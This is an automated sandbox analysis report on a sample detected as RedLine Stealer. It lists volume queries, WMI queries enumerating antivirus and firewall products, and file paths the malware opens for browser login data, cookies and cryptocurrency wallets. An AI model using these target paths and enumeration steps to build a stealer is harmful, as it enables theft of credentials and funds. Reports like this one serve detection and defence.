Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Users\user\Desktop\I5pvP0CU6M.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Users\user\AppData\Roaming\VcihjWRO.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Users\user\AppData\Roaming\VcihjWRO.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: I5pvP0CU6M.exe, 00000009.00000002.2344279205.0000000006192000.00000004.00000020.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2323363497.0000000000C1D000.00000004.00000020.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2445364928.0000000006B49000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 11.2.VcihjWRO.exe.4445bf8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.VcihjWRO.exe.445da18.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I5pvP0CU6M.exe.47a46e8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.I5pvP0CU6M.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I5pvP0CU6M.exe.47bc508.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.VcihjWRO.exe.445da18.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I5pvP0CU6M.exe.47bc508.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.VcihjWRO.exe.4445bf8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I5pvP0CU6M.exe.47a46e8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2220979591.00000000047A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: I5pvP0CU6M.exe PID: 2432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: I5pvP0CU6M.exe PID: 6724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VcihjWRO.exe PID: 7224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VcihjWRO.exe PID: 7568, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\

Source: Yara match	File source: 11.2.VcihjWRO.exe.4445bf8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.VcihjWRO.exe.445da18.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I5pvP0CU6M.exe.47a46e8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.I5pvP0CU6M.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I5pvP0CU6M.exe.47bc508.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.VcihjWRO.exe.445da18.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I5pvP0CU6M.exe.47bc508.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.VcihjWRO.exe.4445bf8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I5pvP0CU6M.exe.47a46e8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2220979591.00000000047A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: I5pvP0CU6M.exe PID: 2432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: I5pvP0CU6M.exe PID: 6724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VcihjWRO.exe PID: 7224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VcihjWRO.exe PID: 7568, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
